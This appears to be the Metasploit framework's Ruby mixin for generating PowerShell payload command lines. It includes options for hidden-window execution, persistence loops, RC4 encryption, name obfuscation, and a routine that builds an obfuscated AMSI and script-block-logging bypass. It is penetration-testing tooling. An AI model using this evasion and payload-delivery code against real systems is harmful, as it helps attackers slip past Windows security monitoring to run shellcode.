# -*- coding: binary -*- require 'rex/powershell' module Msf module Exploit::Powershell def initialize(info = {}) super register_advanced_options( [ OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]), OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']), OptEnum.new('Powershell::prepend_protections_bypass', [true, 'Prepend AMSI/SBL bypass', 'auto', %w[ auto true false ]]), OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]), OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]), OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', true]), OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]), OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]), OptBool.new('Powershell::exec_rc4', [true, 'Encrypt PSH with RC4', false]), OptBool.new('Powershell::remove_comspec', [true, 'Produce script calling powershell directly', false]), OptBool.new('Powershell::noninteractive', [true, 'Execute powershell without interaction', true]), OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]), OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]), OptBool.new('Powershell::wrap_double_quotes', [true, 'Wraps the -Command argument in single quotes', true]), OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]), OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w[net reflection old msil]]) ] ) end # # Return a script from path or string # def read_script(script_path) Rex::Powershell::Script.new(script_path) end # # Return an array of substitutions for use in make_subs # def process_subs(subs) return [] if subs.nil? || subs.empty? new_subs = [] subs.split(';').each do |set| new_subs << set.split(',', 2) end new_subs end # # Insert substitutions into the powershell script # If script is a path to a file then read the file # otherwise treat it as the contents of a file # def make_subs(script, subs) subs.each do |set| script.gsub!(set[0], set[1]) end script end # # Return an encoded powershell script # Will invoke PSH modifiers as enabled # # @param script_in [String] Script contents # # @return [String] Encoded script def encode_script(script_in, eof = nil) opts = {} datastore.keys.select { |k| k =~ /^Powershell::(strip|sub)/i }.each do |k| next unless datastore[k] mod_method = k.split('::').last.intern opts[mod_method.to_sym] = true end Rex::Powershell::Command.encode_script(script_in, eof, opts) end # # Return an decoded powershell script # # @param script_in [String] Encoded contents # # @return [String] Decoded script def decode_script(script_in) return script_in unless script_in.to_s.match(%r{[A-Za-z0-9+/]+={0,3}})[0] == script_in.to_s && (script_in.to_s.length % 4).zero? Rex::Powershell::Command.decode_script(script_in) end # # Return a gzip compressed powershell script # Will invoke PSH modifiers as enabled # # @param script_in [String] Script contents # @param eof [String] Marker to indicate the end of file appended to script # # @return [String] Compressed script with decompression stub def compress_script(script_in, eof = nil) opts = {} datastore.keys.select { |k| k =~ /^Powershell::(strip|sub)/i }.each do |k| next unless datastore[k] mod_method = k.split('::').last.intern opts[mod_method.to_sym] = true end Rex::Powershell::Command.compress_script(script_in, eof, opts) end # # Return a decompressed powershell script # # @param script_in [String] Compressed contents with decompression stub # # @return [String] Decompressed script def decompress_script(script_in) return script_in unless script_in.match?(/FromBase64String/) Rex::Powershell::Command.decompress_script(script_in) end # # Generate a powershell command line, options are passed on to # generate_psh_args # # @param opts [Hash] The options to generate the command line # @option opts [String] :path Path to the powershell binary # @option opts [Boolean] :no_full_stop Whether powershell binary # should include .exe # # @return [String] Powershell command line with arguments def generate_psh_command_line(opts) Rex::Powershell::Command.generate_psh_command_line(opts) end # # Generate arguments for the powershell command # The format will be have no space at the start and have a space # afterwards e.g. "-Arg1 x -Arg -Arg x " # # @param opts [Hash] The options to generate the command line # @option opts [Boolean] :shorten Whether to shorten the powershell # arguments (v2.0 or greater) # @option opts [String] :encodedcommand Powershell script as an # encoded command (-EncodedCommand) # @option opts [String] :executionpolicy The execution policy # (-ExecutionPolicy) # @option opts [String] :inputformat The input format (-InputFormat) # @option opts [String] :file The path to a powershell file (-File) # @option opts [Boolean] :noexit Whether to exit powershell after # execution (-NoExit) # @option opts [Boolean] :nologo Whether to display the logo (-NoLogo) # @option opts [Boolean] :noninteractive Whether to load a non # interactive powershell (-NonInteractive) # @option opts [Boolean] :mta Whether to run as Multi-Threaded # Apartment (-Mta) # @option opts [String] :outputformat The output format # (-OutputFormat) # @option opts [Boolean] :sta Whether to run as Single-Threaded # Apartment (-Sta) # @option opts [Boolean] :noprofile Whether to use the current users # powershell profile (-NoProfile) # @option opts [String] :windowstyle The window style to use # (-WindowStyle) # # @return [String] Powershell command arguments def generate_psh_args(opts) return '' unless opts unless opts.key? :shorten opts[:shorten] = (datastore['Powershell::method'] != 'old') end Rex::Powershell::Command.generate_psh_args(opts) end # # Wraps the powershell code to launch a hidden window and # detect the execution environment and spawn the appropriate # powershell executable for the payload architecture. # # @param ps_code [String] Powershell code # @param payload_arch [String] The payload architecture 'x86'/'x86_64' # @param encoded [Boolean] Indicates whether ps_code is encoded or not # @return [String] Wrapped powershell code def run_hidden_psh(ps_code, payload_arch, encoded) arg_opts = { noprofile: true, windowstyle: 'hidden' } # Old technique fails if powershell exits.. arg_opts[:noexit] = (datastore['Powershell::method'] == 'old') arg_opts[:shorten] = (datastore['Powershell::method'] != 'old') Rex::Powershell::Command.run_hidden_psh(ps_code, payload_arch, encoded, arg_opts) end # # Creates a powershell command line string which will execute the # payload in a hidden window in the appropriate execution environment # for the payload architecture. Opts are passed through to # run_hidden_psh, generate_psh_command_line and generate_psh_args # # @param pay [String] The payload shellcode # @param payload_arch [String] The payload architecture 'x86'/'x86_64' # @param opts [Hash] The options to generate the command # @option opts [Boolean] :persist Loop the payload to cause # re-execution if the shellcode finishes # @option opts [Integer] :prepend_sleep Sleep for the specified time # before executing the payload # @option opts [Boolean] :exec_rc4 Encrypt payload with RC4 # @option opts [String] :method The powershell injection technique to # use: 'net'/'reflection'/'old' # @option opts [Boolean] :encode_inner_payload Encodes the powershell # script within the hidden/architecture detection wrapper # @option opts [Boolean] :encode_final_payload Encodes the final # powershell script # @option opts [Boolean] :remove_comspec Removes the %COMSPEC% # environment variable at the start of the command line # @option opts [Boolean] :wrap_double_quotes Wraps the -Command # argument in double quotes unless :encode_final_payload # # @return [String] Powershell command line with payload def cmd_psh_payload(pay, payload_arch, opts = {}) %i[persist prepend_sleep exec_in_place exec_rc4 encode_final_payload encode_inner_payload remove_comspec noninteractive wrap_double_quotes no_equals method prepend_protections_bypass].map do |opt| opts[opt] = datastore["Powershell::#{opt}"] if opts[opt].nil? end prepend_protections_bypass = opts.delete(:prepend_protections_bypass) if %w[ auto true ].include?(prepend_protections_bypass) opts[:prepend] = bypass_powershell_protections end unless opts.key? :shorten opts[:shorten] = (datastore['Powershell::method'] != 'old') end template_path = Rex::Powershell::Templates::TEMPLATE_DIR begin command = Rex::Powershell::Command.cmd_psh_payload(pay, payload_arch, template_path, opts) rescue Rex::Powershell::Exceptions::PowershellCommandLengthError => e raise unless prepend_protections_bypass == 'auto' # if prepend protections bypass is automatic, try it first but if the size is too large, turn it off and try again opts.delete(:prepend) command = Rex::Powershell::Command.cmd_psh_payload(pay, payload_arch, template_path, opts) end vprint_status("Powershell command length: #{command.length}") command end # # Return all bypasses checking if PowerShell version > 3 # # @return [String] PowerShell code to disable PowerShell Built-In Protections def bypass_powershell_protections # generate the protections bypass in three short steps # step 1: shuffle the instructions by rendering the GraphML script = Rex::Payloads::Shuffle.from_graphml_file( File.join(Msf::Config.install_root, 'data', 'evasion', 'windows', 'bypass_powershell_protections.erb.graphml'), ) # step 2: obfuscate sketchy string literals by rendering the ERB template script = ::ERB.new(script).result(binding) # step 3: obfuscate variable names and remove whitespace script = Rex::Powershell::Script.new(script) script.sub_vars if datastore['Powershell::sub_vars'] Rex::Powershell::PshMethods.uglify_ps(script.to_s) end # # Useful method cache # module PshMethods include Rex::Powershell::PshMethods end end end